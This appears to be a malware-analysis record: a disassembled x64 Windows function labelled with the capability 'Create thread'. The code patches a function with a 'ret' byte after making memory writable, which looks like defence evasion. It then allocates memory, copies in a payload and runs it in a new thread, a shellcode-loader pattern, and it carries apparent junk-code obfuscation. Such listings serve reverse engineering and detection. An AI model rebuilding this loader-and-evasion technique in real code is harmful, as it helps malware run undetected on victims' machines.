Function at 0x14004cce0
Capabilities:
Create thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0xd0]
xor eax, eax
mov qword [rbp - 0x40], rax
lea rcx, [0x1400fb4b8]
call fcn.14005e550
mov rbx, rax
lea rcx, [0x14012b470]
call fcn.14005e550
mov rsi, rax
lea rcx, [0x1401090d8]
call fcn.14005e550
mov r8, rax
mov rcx, rbx
mov rdx, rsi
call fcn.140061ee0
mov rbx, rax
lea rcx, [0x14012b450]
call fcn.14005e550
mov rsi, rax
lea rcx, [0x1400aea88]
call fcn.14005e550
mov r8, rax
mov rcx, rbx
mov rdx, rsi
cmp dword [rcx], ecx
call fcn.140062660
mov rbx, rax
lea rcx, [0x14012e438]
call fcn.14005e550
mov rsi, rax
lea rcx, [0x1400aea88]
call fcn.14005e550
mov r8, rax
mov rcx, rbx
mov rdx, rsi
cmp dword [rcx], ecx
call fcn.140062660
mov rcx, rax
call fcn.14004caac
mov rbx, rax
xor esi, esi
lea rcx, [0x140168950]
mov edx, 5
call fcn.140001d80
mov rdi, rax
lea rcx, [0x1400c5c60]
call fcn.14005e550
lea rcx, [rdi + 0x10]
mov rdx, rax
call fcn.140001e70
lea rcx, [0x140113528]
call fcn.14005e550
lea rcx, [rdi + 0x18]
mov rdx, rax
call fcn.140001e70
lea rcx, [0x1400f9248]
call fcn.14005e550
lea rcx, [rdi + 0x20]
mov rdx, rax
call fcn.140001e70
lea rcx, [0x14012e458]
call fcn.14005e550
lea rcx, [rdi + 0x28]
mov rdx, rax
call fcn.140001e70
lea rcx, [0x140130020]
call fcn.14005e550
lea rcx, [rdi + 0x30]
mov rdx, rax
call fcn.140001e70
mov rcx, rdi
call fcn.140062100
mov rdi, rax
lea rcx, [0x14012b450]
call fcn.14005e550
mov r14, rax
lea rcx, [0x1400aea88]
call fcn.14005e550
mov r8, rax
mov rcx, rdi
mov rdx, r14
cmp dword [rcx], ecx
call fcn.140062660
mov rdi, rax
lea rcx, [0x14012e438]
call fcn.14005e550
mov r14, rax
lea rcx, [0x1400aea88]
call fcn.14005e550
mov r8, rax
mov rcx, rdi
mov rdx, r14
cmp dword [rcx], ecx
call fcn.140062660
mov rdx, rax
mov rcx, rbx
call fcn.14004cb70
mov rbx, rax
add esi, 0x20
cmp esi, 0x64
jl 0x14004cea0
lea r9, [rbp - 0x40]
mov rcx, rbx
mov edx, 5
mov r8d, 0x40
call fcn.14004cc48
lea rcx, [0x140168bb8]
mov edx, 1
call fcn.140001d80
mov byte [rax + 0x10], 0xc3
mov rcx, rax
mov r8, rbx
xor edx, edx
mov r9d, 1
call fcn.14009f3dc
cmp esi, 0x64
jge 0x14004cef4
add esi, 0x20
cmp esi, 0x64
jl 0x14004ceec
lea r9, [rbp - 0x40]
mov rcx, rbx
mov r8d, dword [rbp - 0x40]
mov edx, 5
call fcn.14004cc48
nop
lea rcx, [0x1400aea88]
call fcn.14005e550
call fcn.14004d12c
mov rcx, rax
call fcn.14006767c
mov rbx, rax
mov qword [rbp - 0x48], rbx
mov esi, 1
mov edx, dword [rbx + 8]
mov dword [rbp - 0x4c], edx
lea r9, [0x14014cb70]
mov r9d, dword [r9 + 4]
mov dword [rbp - 0x50], r9d
mov r8d, dword [0x14014cb70]
mov dword [rbp - 0x54], r8d
xor ecx, ecx
mov qword [rbp - 0x5c], rcx
lea rcx, [rbp - 0x98]
call fcn.1400020f0
mov edx, dword [rbp - 0x4c]
mov r9d, dword [rbp - 0x50]
mov r8d, dword [rbp - 0x54]
mov rcx, qword [rbp - 0x5c]
call sub.KERNEL32.dll_VirtualAlloc
mov rbx, rax
lea rcx, [rbp - 0x98]
call fcn.140002140
add esi, 0x20
cmp esi, 0x64
jl 0x14004cf84
mov rdi, qword [rbp - 0x48]
mov r9d, dword [rdi + 8]
mov rcx, rdi
mov r8, rbx
xor edx, edx
call fcn.14009f3dc
add esi, 0x1f
xor r8d, r8d
mov dword [rsp + 0x20], r8d
mov qword [rsp + 0x28], r8
mov r8, rbx
mov qword [rbp - 0x5c], r8
xor ecx, ecx
mov qword [rbp - 0x64], rcx
xor edx, edx
mov dword [rbp - 0x54], edx
xor r9d, r9d
mov qword [rbp - 0x6c], r9
lea rcx, [rbp - 0x98]
call fcn.1400020f0
mov r8, qword [rbp - 0x5c]
mov rcx, qword [rbp - 0x64]
mov edx, dword [rbp - 0x54]
mov r9, qword [rbp - 0x6c]
call sub.KERNEL32.dll_CreateThread
mov rbx, rax
lea rcx, [rbp - 0x98]
call fcn.140002140
mov rcx, rbx
cmp esi, 0x64
jge 0x14004d009
add esi, 0x33
cmp esi, 0x64
jl 0x14004d001
mov qword [rbp - 0x6c], rcx
mov edx, 0xffffffff
mov dword [rbp - 0x54], edx
lea rcx, [rbp - 0x98]
call fcn.1400020f0
mov rcx, qword [rbp - 0x6c]
mov edx, dword [rbp - 0x54]
call sub.KERNEL32.dll_WaitForSingleObject
lea rcx, [rbp - 0x98]
call fcn.140002140
nop
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret